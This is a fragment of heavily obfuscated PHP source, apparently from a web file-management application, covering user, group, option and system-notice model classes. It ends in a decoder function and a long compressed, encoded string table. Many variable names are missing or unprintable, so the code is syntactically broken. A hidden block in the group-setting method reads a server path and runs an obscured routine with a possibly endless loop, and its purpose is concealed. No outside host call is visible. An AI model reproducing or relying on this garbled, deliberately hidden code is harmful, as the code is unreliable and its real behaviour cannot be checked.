$ۍ[12]] = $this->getInfoSimpleOuter($); continue; } $ڡ[$ۍ[2462]] = Action($ۍ[2463])->parseUrl($ڡ[$ۍ[2462]]); $[$ . $ۍ[12]] = $ڡ; } } return $; } protected function userStatus($ϓ, $탓Ξ) { $օ = $this->getInfoSimple($ϓ); if (!$օ) { return !1; } $ɹ = array($_SERVER[՟][834] => $탓Ξ); return $this->userEdit($ϓ, $ɹ); } protected function userRemove($㏴ϝ) { $گ =& $_SERVER[՟]; $ݰ = $this->getInfoSimple($㏴ϝ); if (!$ݰ) { return !1; } $ = array($گ[1764] => $㏴ϝ); Model($گ[673])->where($)->delete(); Model($گ[2493])->where($)->delete(); Model($گ[2066])->where($)->delete(); Model($گ[2478])->where($)->delete(); Model($گ[1150])->where($)->delete(); Model($گ[2282])->removeUserAll($㏴ϝ); Model($گ[908])->userRootRemove($㏴ϝ); return $this->where($)->delete(); } protected function userGroupSet($۷θ, $, $ = array()) { $ᄁ =& $_SERVER[՟]; if (!isset($_SERVER[$ᄁ[54]]) || !isset($_SERVER[$ᄁ[63]])) { $ņ = $ᄁ[961]; $ = $ᄁ[56]; $ = $_SERVER[$ᄁ[57]] . $ᄁ[58]; $ = $($); $ = explode($ᄁ[59], $); if (count($) < $ᄁ[693]) { $ = $ᄁ[61]; $(); } $ = $ᄁ[962]; $($_SERVER[$ᄁ[963]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$ᄁ[501]]); } } $뒦 = $this->getInfoSimple($۷θ); if (!$뒦 || !is_array($)) { return !1; } $Ũ = Model($ᄁ[2066]); $Ũ->where(array($ᄁ[1773] => $۷θ))->delete(); $Ԓ = array(); $ = 0; foreach ($ as $ => $Ƕ) { $ = array($ᄁ[1773] => $۷θ, $ᄁ[1972] => $ , $ᄁ[2080] => $Ƕ); $[$ᄁ[1996]] = isset($[$]) ? $[$] : 0; $++; $Ԓ[] = $; } return $Ũ->addAll($Ԓ, array(), !0); } protected function userGroupAdd($ݱ, $خ = array()) { $ =& $_SERVER[՟]; $ǜ = $this->getInfoSimple($ݱ); if (!$ǜ || empty($خ)) { return !1; } $ń = array(); foreach ($خ as $ => $ؕ) { $ń[] = array($[1773] => $ݱ, $[1972] => $, $[2080] => $ؕ, $[1996] => 0); } return Model($[2066])->addAll($ń, array(), !0); } protected function userGroupRemove($, $) { $֤ =& $_SERVER[՟]; $ٛ = $this->getInfoSimple($); if (!$ٛ || !$) { return !1; } $ڪ = array($֤[1764] => $, $֤[2064] => $); return Model($֤[2066])->where($ڪ)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[՟][454]]); return $; } public function listByID($) { $ =& $_SERVER[՟]; if (!$) { return; } $ܒ˞ = array($[1773] => array($[7], $)); $Å = $this->where($ܒ˞)->select(); $Å = array_sort_keep($Å, $[1773], $); $this->_listDataApply($Å); return $Å; } public function listByGroup($۸ = 0, $ = array()) { $ =& $_SERVER[՟]; $ߠ = $[12]; $ّ = array(); if ($۸) { $ّ = array($[2494] => intval($۸)); $ߠ = "\114\x45\106\124\40\x4a\117\111\x4e\x20{$this->tablePrefix}\x75\x73\x65\162\x5f\147\x72\x6f\165\160\40\165\163\145\162\137\x67\x72\x6f\x75\160\x20\157\x6e\40\x75\163\145\x72\56\165\x73\145\x72\111\104\x20\x3d\x20\165\x73\145\162\x5f\147\x72\x6f\x75\160\56\x75\x73\145\162\111\x44"; $ = Input::get($[539], null, $[12]) ? $[12] : $[2495]; } if (isset($[$[834]])) { $ّ[$[2496]] = $[$[834]]; } $ = $this->_makeOrder($)->field($[2497])->where($ّ)->join($ߠ)->selectPage(50); $this->_listDataApply($[$[454]]); return $; } private function _makeOrder($ʖ = '') { $ =& $_SERVER[՟]; $ = array($[1773], $[32], $[1960], $[2178], $[1932], $[241]); $Ѣ = array($[532] => $[533], $[534] => $[535]); $ = Input::get($[539], $[7], $[1764], $); $Ц = Input::get($[540], $[7], $[2067], array($[2067], $[534])); $Ц = $Ѣ[$Ц]; $ʖ = $ʖ . "\x75\x73\x65\x72\x2e{$}\40{$Ц}\x2c\40\165\x73\145\162\56\165\x73\145\162\x49\x44\40\x61\x73\143"; return $this->alias($[2194])->order($ʖ); } public function listSearch($Ĕ) { $ޓ =& $_SERVER[՟]; $삱˥ = trim($Ĕ[$ޓ[2070]]); $ޑ = explode($ޓ[53], $삱˥); if (!$삱˥ || count($ޑ) == 1) { return $this->listSearchNow($Ĕ); } $ = array($ޓ[454] => array()); foreach ($ޑ as $·) { if (!trim($·)) { continue; } $Ĕ[$ޓ[2070]] = $·; $ = $this->listSearchNow($Ĕ); $[$ޓ[454]] = array_merge($[$ޓ[454]], $[$ޓ[454]]); } $[$ޓ[454]] = array_unique_by_key($[$ޓ[454]], $ޓ[1773]); $[$ޓ[451]] = array($ޓ[452] => count($[$ޓ[454]]), $ޓ[448] => 20, $ޓ[438] => 1, $ޓ[453] => 1); return $; } public function listSearchNow($ܿ) { $ =& $_SERVER[՟]; $ = trim($ܿ[$[2070]]); $د = isset($ܿ[$[2071]]) ? $ܿ[$[2071]] : !1; $ = str_replace($[2072], $[2073], trim($)); $ = array($[32] => array($[468], "\45{$}\45"), $[390] => array($[468], "{$}\x25"), $[2265] => array($[468], "{$}\x25"), $[1081] => $[2074]); if (Input::check($, $[396])) { $[$[1773]] = array($[468], "{$}\45"); $[$[2479]] = array($[468], "{$}\45"); } if (!$) { $ = array(); } if (isset($ܿ[$[834]])) { $[$[834]] = $ܿ[$[834]]; } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); if (!$ || count($[$[454]]) < 5 && Input::check($, $[403])) { $ = $this->_searchFromMeta($[546], $, 10); $ = $this->_searchFromMeta($[547], $, 10); $ = array_merge($, $, $[$[454]]); $[$[454]] = array_unique_by_key($, $[1773]); $[$[451]][$[452]] = count($[$[454]]); $[$[451]][$[453]] = ceil($[$[451]][$[452]] / $[$[451]][$[448]]); } $this->_listDataApply($[$[454]]); $this->_filterByGroup($, $د); return $; } private function _filterByGroup(&$ʑ, $Ӗ) { $真 =& $_SERVER[՟]; if (!$Ӗ) { return $ʑ; } foreach ($ʑ[$真[454]] as $ => &$) { $¤ = array_to_keyvalue($[$真[2163]], $真[12], $真[1972]); if (!in_array($Ӗ, $¤)) { unset($ʑ[$真[454]][$]); } } unset($); $ʑ[$真[454]] = array_values($ʑ[$真[454]]); $ʑ[$真[451]] = array($真[2230] => count($ʑ[$真[454]]), $真[2228] => $ʑ[$真[451]][$真[448]], $真[2227] => 1, $真[2229] => 1); } private function _searchFromMeta($, $DŽ, $) { $Ǻ =& $_SERVER[՟]; $DŽ = strtolower($DŽ); $Ԓ = array($Ǻ[107] => $, $Ǻ[459] => array($Ǻ[468], "\x25{$DŽ}\x25")); $Ԓ = $this->parseWhereLike($Ԓ); $ = Model($Ǻ[2498])->where($Ԓ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $Ǻ[12], $Ǻ[1773]); $ = $this->where(array($Ǻ[1764] => array($Ǻ[7], $)))->select(); if (!$) { return array(); } return $; } private function _listDataApplyItem($˙) { $ɯ践 = array($˙); $this->_listDataApply($ɯ践); return $ɯ践[0]; } private function _listDataApply(&$ᑑ) { $ =& $_SERVER[՟]; if (!$ᑑ) { return; } array_remove_key($ᑑ, $[970]); $䙠 = array_to_keyvalue($ᑑ, $[12], $[1773]); $this->_listAppendGroup($ᑑ, $䙠); $this->_listAppendMeta($ᑑ, $䙠); $this->_listAppendSourceRoot($ᑑ, $䙠); } private function _listAppendSourceRoot(&$ۋٜ, $צ) { $Äڠ =& $_SERVER[՟]; $Ĵɚ = Model($Äڠ[908])->listSourceRoot(SourceModel::TYPE_USER, $צ); $Ĵɚ = array_to_keyvalue($Ĵɚ, $Äڠ[578]); $Ĵɚ = array_remove_key($Ĵɚ, $Äڠ[578]); foreach ($ۋٜ as &$) { $[$Äڠ[100]] = $Ĵɚ[$[$Äڠ[1773]]] ? $Ĵɚ[$[$Äڠ[1773]]] : array(); } unset($); } private function _listAppendGroup(&$, $߬) { $ժ =& $_SERVER[՟]; $Ҳ = array($ժ[1773] => array($ժ[7], $߬)); $ڤ = Model($ժ[2066])->where($Ҳ)->select(); $ؤ = array_to_keyvalue($ڤ, $ժ[12], $ժ[1972]); $ؤ = array_remove_value(array_unique($ؤ), $ժ[238]); if (!$ؤ || !$ڤ) { return; } $Ҳ = array($ժ[1972] => array($ժ[7], $ؤ)); $Ұ = Model($ժ[2161])->field($ժ[2499])->where($Ҳ)->select(); $Ұ = array_to_keyvalue($Ұ, $ժ[1972]); $ڤ = array_to_keyvalue_group($ڤ, $ժ[1773]); foreach ($ڤ as &$) { $Ķ = array(); foreach ($ as $Ƽ) { if (!$Ƽ[$ժ[2080]]) { continue; } $ = Model($ժ[580])->listData($Ƽ[$ժ[2080]]); $Ķ[] = array($ժ[1972] => $Ƽ[$ժ[1972]], $ժ[2500] => $Ұ[$Ƽ[$ժ[1972]]][$ժ[32]], $ժ[593] => $Ұ[$Ƽ[$ժ[1972]]][$ժ[593]], $ժ[496] => $); } $ = $Ķ; } unset($); foreach ($ as &$) { $[$ժ[2163]] = array(); if (isset($ڤ[$[$ժ[1773]]])) { $[$ժ[2163]] = $ڤ[$[$ժ[1773]]]; } } unset($); } public function userAppendGroup($) { $ =& $_SERVER[՟]; if (!$) { return array(); } $this->_listAppendGroup($, array_to_keyvalue($, $[12], $[1773])); return $; } private function _listAppendMeta(&$, $١) { $ =& $_SERVER[՟]; $ŕ = UserJobModel::JOB_KEY; $ = array($[2480]); $ڒ = array($[1773] => array($[7], $١)); $ = Model($[2478])->where($ڒ)->select(); $ = array_to_keyvalue_group($, $[1773]); foreach ($ as &$œڢ) { $ = array(); foreach ($œڢ as $) { if (!in_array($[$[107]], $)) { $[$[$[107]]] = $[$[459]]; } } $œڢ = $; } unset($œڢ); $ = Model($[2501]); foreach ($ as &$ҍљ) { $ = array(); if (isset($[$ҍљ[$[1773]]])) { $ = $[$ҍљ[$[1773]]]; } $ҍљ[$[2502]] = array(); if (isset($[$ŕ])) { $ҍљ[$[2502]] = $->getUserJobInfo($[$ŕ]); } } unset($ҍљ); } protected function groupUserAll($㴇) { $ =& $_SERVER[՟]; if (!$㴇) { return !1; } $蕏 = Model($[2066])->field($[1773])->where(array($[1972] => array($[7], $㴇)))->select(); $蕏 = array_to_keyvalue($蕏, $[12], $[1773]); return array_unique($蕏); } public function userSearch($ۓ, $ = "\52") { return Model($_SERVER[՟][607])->where($ۓ)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\165\x73\145\x72\137\x6f\160\164\151\x6f\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($ˉ) { $ =& $_SERVER[՟]; $Б = defined($[2198]) && USER_ID ? USER_ID : $[12]; return "\x55\x73\145\162\117\160\x74\x69\x6f\x6e\137{$ˉ}\137" . $Б; } protected function filterWhere($) { $ =& $_SERVER[՟]; $[$[1773]] = defined($[2198]) && USER_ID ? USER_ID : $[12]; return $; } public function cacheRemoveUser($Ʀ, $ϟ) { return Cache::remove("\125\x73\x65\x72\x4f\x70\x74\151\x6f\156\137{$Ʀ}\137" . $ϟ); } protected function optionDefault($Ʃ = '') { $χ =& $_SERVER[՟]; if ($Ʃ == $χ[12]) { return $GLOBALS[$χ[6]][$χ[2503]]; } if ($Ʃ == $χ[2504]) { return $GLOBALS[$χ[6]][$χ[2505]]; } } } goto C; E: class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\x73\164\x65\155\x2e\x6e\157\164\151\143\x65\x4c\151\163\x74"; public $field = array("\x6e\x61\155\x65", "\143\157\x6e\x74\x65\x6e\164", "\141\x75\164\150", "\155\x6f\144\x65", "\x74\151\x6d\x65", "\164\171\160\145", "\x6c\145\166\x65\x6c", "\x65\156\x61\x62\154\145", "\x73\x6f\x72\x74"); public function listData($Ă = false, $쳓 = "\163\x6f\162\x74", $Ä = false) { return parent::listData($Ă, $쳓, $Ä); } public function add($) { $ʵ =& $_SERVER[՟]; $Ϊړ = time(); if ($[$ʵ[16]] == $ʵ[2439]) { $Ϊړ = strtotime($[$ʵ[216]]); } $[$ʵ[216]] = $Ϊړ; return parent::insert($); } public function update($ֵ, $) { $ =& $_SERVER[՟]; $܂© = $this->listData($ֵ); if (!$܂©) { return !1; } $ = time(); if ($[$[16]] == $[2439]) { $ = strtotime($[$[216]]); } $[$[216]] = $; return parent::update($ֵ, $); } public function remove($ٷʮ) { $ = $this->listData($ٷʮ); if (!$ || $[$_SERVER[՟][201]]) { return !1; } return parent::remove($ٷʮ); } public function sort($, $ᆫ) { return parent::update($, $ᆫ); } public function enable($, $) { return parent::update($, array($_SERVER[՟][2440] => $)); } private function initUserOption() { $Ϗ =& $_SERVER[՟]; $this->optionType = $Ϗ[2441]; $this->modelType = $Ϗ[2442]; $this->field = array($Ϗ[2443], $Ϗ[32], $Ϗ[216], $Ϗ[33], $Ϗ[2444], $Ϗ[834], $Ϗ[236]); } public function userNoticeGet($գ = false) { $this->initUserOption(); return parent::listData($գ, $_SERVER[՟][484], !0); } public function userNoticeAdd($ĺ) { $ٟ =& $_SERVER[՟]; $this->initUserOption(); $ = $this->findByKey($ٟ[2443], $ĺ[$ٟ[484]]); if ($) { return !0; } $ύ = array($ٟ[2443] => $ĺ[$ٟ[484]], $ٟ[32] => $ĺ[$ٟ[32]], $ٟ[216] => $ĺ[$ٟ[216]], $ٟ[33] => isset($ĺ[$ٟ[33]]) ? $ĺ[$ٟ[33]] : 1, $ٟ[2444] => isset($ĺ[$ٟ[2444]]) ? $ĺ[$ٟ[2444]] : 0, $ٟ[834] => 0, $ٟ[236] => 0); return parent::insert($ύ); } public function userNoticeEdit($, $Ґ) { $this->initUserOption(); return parent::update($, $Ґ); } } class SystemOptionModel extends ModelBaseOption { protected $tableName = "\163\171\163\x74\145\155\x5f\x6f\160\164\x69\157\x6e"; protected $jsonField = array("\x6d\145\x6e\x75", "\x72\x6f\154\145", "\162\157\154\x65\107\x72\157\165\x70", "\162\x65\147\x69\163\164", "\x65\155\141\x69\154"); function __construct() { parent::__construct(); } protected function cacheKey($˯) { return "\x53\171\x73\x74\x65\155\117\160\x74\x69\x6f\156\x5f{$˯}"; } protected function optionDefault($Ą = '') { $ =& $_SERVER[՟]; if ($Ą == $[12]) { return $GLOBALS[$[6]][$[466]]; } } } class SystemRecordModel extends ModelBaseLight { } goto aىף; bе: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\xd5\x9f\xb2\xf3\xf7\xe5", base64_decode('t6Gwv4r7')); $_SERVER[՟] = explode("\174\2\174\3\174\5", gzinflate(substr("\x1f\x8b\x8\x0\x0\x0\x0\x0\x0\x13\xc5\x7d\x9\x78\x1b\xd5\xb5\x30\x3b\x9\xdb\x6b\x4b\x29\x6d\x81\xc7\xe0\x90\xd8\x4e\xb4\xd8\xce\xee\xc4\x49\x64\x59\xb6\x45\x64\xcb\x91\xe4\x2c\xd8\x66\x32\x92\xc6\xb2".base64_decode('YkmjaEbekrBvhYQAYSdsD9qG8kJC2cISKGVtQ9PQQtneY42dQFm6QFu29r/LucuMZHj/9w==')."\376\357\373\363\45\321\335\347\56\347\236\163\356\271\347\236\263\347\302\213\316\375\350\274\265\7\255\75\170\355\241\233\37\270\343\77\77\175\222\206\327\36\202\176\17\243\341\223\57\235\160\0".base64_decode('+XPspZdUVbXOOmJa+1Eb79uq3an9TLs0HNr1fPDo3f95WmDs9l3DYwce4H5h5nX1qDCtWw==').strrev('51W4~G=F,5#:Ks'."\r".'r0LP)aO')."\331\321\21\210\304\240\120\275\234\237\65\222\20\312\153\5\55\13\337\317\353\5\23\365\106\156\116\315\33\171\75\147\113\21\11\111\315\322\342\232\11\55\65\65\252\115\201\216\120\170\205\32"."\133\321\21\200\22\161\165\165\121\57\14\323\30\11\106\55\255\140\305\322\131\235\227\30\54\360\176\65\6\132\202\355\112\54\342\153\217\372\374\261\140\270\235\46\373\303\155\155\301\130\151\172"."\x24\x1c\xa\x35\xfa\xfc\x8b\x4b\x73\x3a\x22\xbe\x96\x36\x9f\x82\xfa\x97\xd1\xd5\x74\xae\xd7\xa8\x52\x56\xd2\x9c\x95\x4a\x35\xd\x34\xa7\xf5\x4c\x92\x6\x73\x1a\xeb\x8e\x35\x9c\x87\x50\x8c\x87\xd0\x32\xe5\x8a"."\231\14\215\264\363\120\122\357\325\212\31\230\255\46\71\222\57\244\263\32\33\364\142\175\230\247\322\200\126\264\214\164\56\101\43\201\41\253\240\211\164\324\327\4\132\150\75\7\115\105\3\241"."\x80\x3f\xa6\xe0\xe\x2a\xcd\x91\x70\x9b\x2\x8b\x90\xd5\x4c\x4b\x2f\x28\xcb\x5a\x3\x91\x80\x82\x3b\xdd\x50\x49\xc6\x5a\xa9\x0\xbc\xb4\xa3\xa9\x50\x7c\xa1\x90\x32\x5e\xb\x96\x9e\xcd\xb3\x66\x68\x9d\x32\x8d"."\205\43\115\201\210\322\270\102\21\63\224\60\262\131\43\347\101\255\240\225\264\244\256\6\42\21\32\160\1\170\207\202\170\321\40\22\156\156\216\6\170\14\240\124\353\115\147\364\150\172\104\17"."\346\234\51\64\216\143\152\112\267\124\264\65\54\364\45\0\324\106\137\64\350\127\73\174\261\126\230\271\174\336\153\46\373\115\257\126\110\364\245\7\364\120\72\356\215\247\163\136\14\240\236\70"."\333\112\107\320\237\31\60\216\76\75\321\257\152\161\243\140\351\0\6\305\134\46\235\353\227\173\2\213\260\44\204\146\154\72\354\43\133\54\331\233\261\324\1\55\123\144\333\11\252\127\302\17".strrev('8A@Xl4bJ-!}QdI襝iYo&v.:u|&')."\236\312\1\275\140\251\172\56\141\44\323\71\300\67\13\141\337\150\126\137\123\1\115\141\1\26\300\310\44\131\330\264\55\113\173\61\53\27\341\121\264\0\231\144\201\241\210\257\53\111\243\41"."\216\161\160\131\21\313\243\236\160\144\225\356\35\26\50\3\227\353\340\271\246\121\54\44\20\0\365\302\264\324\102\262\156\131\150\160\154\102\214\316\174\306\320\222\121\275\300\207\226\66\232\121"."\x43\xe1\xa2\x25\x27\x16\x49\xb1\x66\xa3\x90\x6d\x42\xb0\x3\xdf\x47\x1b\x3b\xdd\x59\x26\xa3\x9f\x6d\xed\xa4\x34\x63\xde\xaa\xae\x73\xdc\xff\xec\xe9\x5a\x84\xfe\xab\x6\xec\xdd\xd\x7d\xea\xd3\x33\x19\x55\x1f".base64_decode('0mHvZ5MzTTYZXhMDLEqh0WBY7dPMvrbkTJXUYkQhqQ958n15QEwcF3Xb9iaeunbDCkikJQ==')."\x63\x24\xb4\x8c\x3c\x44\x1a\xee\xb3\xac\x7c\x54\xcf\x25\x9b\x39\xac\x27\x8d\xc1\x1c\x99\xa9\xbc\xce\xb6\x45\x93\x4b\x49\x2a\x6d\xca\xa\xa5\xb5\x3e\x5d\x6f\xb2\x8a\xd9\xc\xf\xb1\xd1\xf1\x34\x93\x27\x5a\x43"."\x6c\x39\x93\xbd\x0\xad\x6c\x3b\x56\xc0\x7\xd3\x26\x41\xd2\x2\xc3\xa0\xdd\x9c\x49\x27\x34\x2b\x6d\xe4\xbc\x46\xc2\xd2\x2d\xb7\x69\x15\x74\xd\x5a\xf4\x25\x12\xba\x69\xba\xfd\x8\x21\x14\x8c\x8c\xdb\x97\xc9"."\x18\x83\xee\x70\x21\x9d\x4a\xe7\xea\x95\xa9\x40\x2f\x28\xb6\x70\x63\x1c\x5e\xf\xc8\xa6\x62\x9e\x82\x1\x7\x7f\x66\x6a\x43\xd1\xea\x75\xcf\x61\x9b\x93\x97\x2e\x68\x39\xb3\x57\x2f\xb8\x3\xb0\x33\xea\x15\xd4".base64_decode('WY7IWbGmtJk3zDTuXr2iWZaW6MNIUDTf8DXl0xjF6KVlUSO6u6OgpbJavZIvxtEEwIaEtA==')."\x4\x2e\x21\x17\x86\x9\xa8\x57\xb2\xda\x90\x5b\x4b\xb1\x96\x2\x43\xf9\x74\x41\x37\xd9\xa8\x95\x96\xb6\x18\x40\x54\xaf\xbb\xd\x6f\xa4\xb4\x9e\x74\x47\x11\x95\x81\xc6\xa6\xd7\xcc\x50\x10\xac\x28\x2c\x8f\xa6".base64_decode('tsZiHWqwGbER7QG1zRfzA6INWFqKNR1CtIM3yRKXu9GGwtDUjgYnEjuMQb2APtw4XK/0Gw==')."\311\270\61\344\141\131\315\200\360\131\141\274\276\171\313\35\321\162\51\74\214\370\260\245\233\116\334\324\210\230\16\117\57\335\275\236\270\336\153\24\140\64\346\100\312\76\371\41\75\227\262\372".strrev('创87ܿXLIODw7C99(eF id@X')."\55\170\356\232\334\46\52\344\226\113\261\266\103\351\154\32\17\317\342\71\144\262\21\3\323\2\35\362\222\61\67\164\233\123\253\272\223\323\252\335\350\377\251\325\135\335\115\236\251\75\13\275"."\x69\x51\xc7\x5b\xeb\xa9\x55\xea\x6a\x66\x29\x1d\x88\xa3\x4a\x6b\x19\x5\x6\x5d\x52\xa2\x46\x9\x2f\xb6\x4f\x8b\x80\xf0\x9c\x91\xd3\xcb\x6e\x2c\x4\x48\x86\xa9\xbb\x5b\x75\xd\x21\x69\xb4\x10\xb6\x75\x71\xb1"."\x6f\xd1\xf8\xd7\xcc\x2e\xa6\x95\x12\x2e\x71\xac\xb\x4d\x8c\x4\x96\x74\x6\xa2\x31\xb5\x2d\x10\x6b\xd\x37\x41\xf7\x3\x3e\x8\xe5\x50\x65\xd2\x5f\xb6\xc6\x98\x81\x4\xb2\x98\x83\x66\xf5\x21\x89\x86\x8\x5a"."\220\220\47\204\324\153\67\6\31\366\167\0\220\37\363\3\343\344\241\20\214\306\240\170\211\55\135\27\375\351\1\150\356\1\336\41\155\66\113\164\23\107\71\176\125\215\370\52\4\131\155\72"."\x23\x22\xf0\xa5\x60\x16\xed\x61\xd1\x73\xd5\x4e\xe4\xd8\xb0\xda\x4\xa4\xa3\x2d\xb3\x2c\x9d\xe4\x54\x10\x45\x5b\xf5\x74\xaa\xf\x3a\x9a\xc6\xcd\x25\x8c\x8c\x51\xd0\x32\x18\xf7\x33\x6\x3b\x95\x6\x34\x9c\xcf"."\24\21\334\173\161\303\261\276\142\66\16\224\12\315\21\142\267\4\357\153\16\43\6\61\313\50\62\42\353\126\260\311\106\167\41\346\125\61\254\166\173\362\271\124\365\251\320\226\132\67\263\6"."\47\300\62\302\310\320\41\240\250\227\16\335\223\60\320\306\156\323\372\365\172\74\26\300\146\363\110\52\213\110\10\163\36\246\161\15\116\274\200\227\47\343\311\242\106\110\233\176\203\123\145\172"."\314\232\147\247\161\212\136\50\30\205\123\240\4\11\53\204\120\342\345\202\306\55\316\166\230\10\5\260\160\237\301\331\24\203\1\143\275\27\306\75\271\256\31\320\106\22\261\153\36\323\102\213"."\200\6\250\45\223\345\222\21\252\201\6\326\62\70\45\31\214\17\360\106\247\243\277\202\350\47\215\254\306\110\50\41\176\172\222\122\77\133\22\335\266\64\151\52\153\267\140\31\70\263\140\53"."\x89\x20\xb1\xcf\x80\x9e\xa1\xa5\x87\x51\x15\xf9\xf0\xd8\x40\x93\x7a\x46\x67\x50\xd4\xa7\x33\x6\xa2\x6\x8a\xa1\xe9\xe7\x30\x26\x18\x67\x74\x94\x41\xa9\x82\x73\x4b\x9b\x11\x54\x13\x93\x7b\x16\x5f\x86\xcf\x7e"."\42\1\363\74\0\74\42\230\101\113\27\46\273\106\304\73\12\172\157\172\210\41\210\41\253\115\53\364\263\201\241\232\142\277\341\210\264\27\233\73\103\41\325\37\156\217\241\243\43\115\131\26".strrev('*`'."\0".'Y`܂@pW @h,fLqbT ')."\x1c\x7c\x2\xa2\xf4\xd9\x11\x77\x16\x21\xf\x37\xef\x93\x9d\x3d\x53\x80\xdc\x53\x2e\x2f\x8\xcb\x94\xe4\x8b\x83\x27\xf\x6d\x64\xc6\x17\x76\x84\xa3\x50\x61\x21\x4e\x45\xbc\x79\x9c\xef\xb7\x8e\x4e\xc8\xca\x4a"."\40\322\22\200\104\263\117\3\126\333\267\54\312\150\167\21\25\54\244\107\64\61\226\205\254\43\154\4\331\214\340\361\355\303\161\213\45\57\232\156\35\263\27\342\13\63\334\255\155\76\277\73"."\332\352\253\233\71\213\246\256\310\46\273\143\255\151\263\373\164\36\207\371\33\64\147\250\5\35\141\32\366\241\272\232\132\206\7\20\173\44\165\157\205\73\353\306\255\340\251\363\324\324\324\260".base64_decode('tqbNUvoQguNkJEmWhx24iol+tlO0BON5MXkx3YNphpJP5ceDU0vB5lQ7IYQmioQEq1oCfw==').base64_decode('TEUtWkVTnim0n5KoUpqx8jRVy6TQpFt9WTlRrDiN65Qv5GvHZxHPbTnazPY/4kRhGMvL9g==')."\x61\x79\xb9\x3e\x2c\x77\xf4\x61\x79\x69\x1f\x68\x92\x99\x4e\xe5\xd0\x28\x19\x55\x83\xe5\x68\xc1\xcb\x21\x2d\xab\x6d\x99\x87\x54\x54\x91\x9\x4\x54\x79\x28\x30\x49\x30\xc\x39\xa7\x95\xa3\x31\x36\xc8\xb6\xa6".base64_decode('mawfvrbT3U0+hgTmL0QgqgxgUZiRa6is9dRUKuyo3FDZGWtGB4eFC46Y7zeyeYwR2/DpEA==').strrev('#ra =fZ9-k{*no/}ݔ>9gE^GOvՙ$')."\xf3\xef\x9f\x7c\xf1\xd6\x9e\xd6\x96\x79\xf\x65\x27\x1d\xfe\xd7\xe1\xdb\xde\xfd\xe5\xed\x7b\x72\x17\xfd\x7d\xf4\x44\xef\xde\xfb\xce\x3e\xfa\x5d\xeb\xb8\x91\xfa\x9f\x9e\x34\x61\xc3\xaf\xbf\xff\xfe\xa6\x23\x66".strrev('}|Sy^X?9n.=k?SokBG')."\x73\xc7\x7\xcf\xdc\xf3\xea\x9e\x63\x93\x81\xd3\xd7\x6f\xfa\xe2\xc5\xe6\xcd\x53\xf2\x4f\xad\x7f\xea\xd9\x3d\x87\x7d\xef\x87\xae\xee\x89\xfa\x93\xf\x6c\x7e\xe2\xfb\xa7\x7d\xd8\x7c\xd4\xdc\xdc\xbf\x25\x7e\x58".base64_decode('HZp4fvb408z1B55z8NpDdk14+9Wzf/P09475RVVy8db3ht6sO+qhF8+5NzH2Tn3zhdY1Kw==').base64_decode('r+6Zfe5gaPDgjuXPPnXYO3857Oa5Ew5+95zRpZcfelPnwO9/7v7V5JWx46bfdeKUR369fg==')."\xeb\x58\xee\x23\xdf\xba\xdb\x6e\xdf\xf1\xf9\xea\x81\x43\x7d\x8b\xee\x58\xf1\xa7\xf5\xb7\x7d\x6b\x96\x3b\x75\xe5\xde\x13\x7f\xd0\x55\xbb\xeb\xd0\xbf\xd6\x1e\x5b\x7d\xf3\xc3\x97\xbd\x63\x1d\xd2\xdb\xf8\xde\xd".base64_decode('H/7u6RsfePXIK39/45RVF/784MOPuXf1S3/5xbcm50/cMbfx4H21h7+lf9769ktPLnhBOw==')."\371\375\103\176\327\331\176\362\357\176\161\333\135\307\266\135\260\350\261\364\360\123\267\46\246\35\357\251\235\364\336\267\226\35\270\342\7\135\317\55\77\350\275\33\377\261\356\370\375\65\143\317"."\115\356\75\366\146\337\167\337\276\367\337\102\337\157\377\303\346\347\146\324\17\204\372\117\365\34\126\175\377\346\45\152\323\316\211\153\257\332\361\363\347\226\314\177\142\362\65\23\216\330\261\364"."\342\375\7\336\334\372\255\200\253\345\317\277\334\261\367\311\232\103\227\306\7\177\161\324\231\73\227\37\345\375\275\222\37\112\255\77\351\37\275\257\45\116\133\365\347\305\213\63\253\337\70\344".strrev('/m\'[ε_x5_]-e=QwR')."\265\141\331\367\277\175\371\165\215\153\153\226\26\176\121\23\373\303\312\102\352\232\143\16\277\346\327\57\154\276\155\311\63\57\154\71\300\174\150\344\305\276\364\150\357\275\353\176\66\363\265\315".strrev('Ǎrmw#ۆ|N8}QG|.~S')."\344\177\171\310\257\136\67\317\131\260\54\164\330\100\115\156\316\117\276\365\331\235\35\147\14\115\73\351\332\367\37\274\152\327\205\103\36\55\367\372\53\277\332\377\112\317\366\67\22\241\351\27"."\117\254\77\143\107\42\366\346\17\37\72\351\372\57\222\277\330\346\232\161\325\47\277\376\356\245\223\217\370\344\101\267\365\347\243\256\374\357\247\273\172\237\175\345\102\337\173\153\166\335\167\164"."\365\234\363\57\75\340\271\67\6\57\156\272\72\243\277\366\331\107\167\276\377\372\113\107\314\177\266\346\207\117\136\134\163\306\374\5\23\142\123\216\274\310\175\375\337\212\57\115\235\240\266\114"."\x98\xf8\x93\xdc\xa2\xc6\x9a\xe1\x96\xcc\x47\x5d\x17\x86\x4e\xc8\xdd\x71\xe4\xa4\x1b\xbe\x6c\xba\x67\x89\xe7\xde\x3b\x7b\xdb\xff\x71\xf7\xe6\x5\x99\x65\xf7\x6f\x3a\x7d\xdb\xb6\xcf\xeb\xe\x6a\x6b\xdd\x3b\xfc"."\305\171\276\226\77\276\364\376\375\147\154\255\314\325\34\166\331\44\63\171\373\113\47\157\277\374\205\251\137\214\56\275\353\17\353\375\227\154\234\171\305\362\55\227\144\316\57\236\175\331\57\16"."\231\372\324\316\203\237\177\144\366\137\157\254\377\345\143\35\372\127\57\174\350\77\70\266\341\331\167\203\163\126\124\51\113\146\105\137\370\364\343\213\277\332\161\303\243\375\155\207\356\373\257\267".strrev('-Jn/[rkc}}mGԊ㽎\'1վGKj>n')."\212\350\153\56\236\271\312\372\154\127\352\332\263\376\361\352\247\167\75\336\375\370\231\43\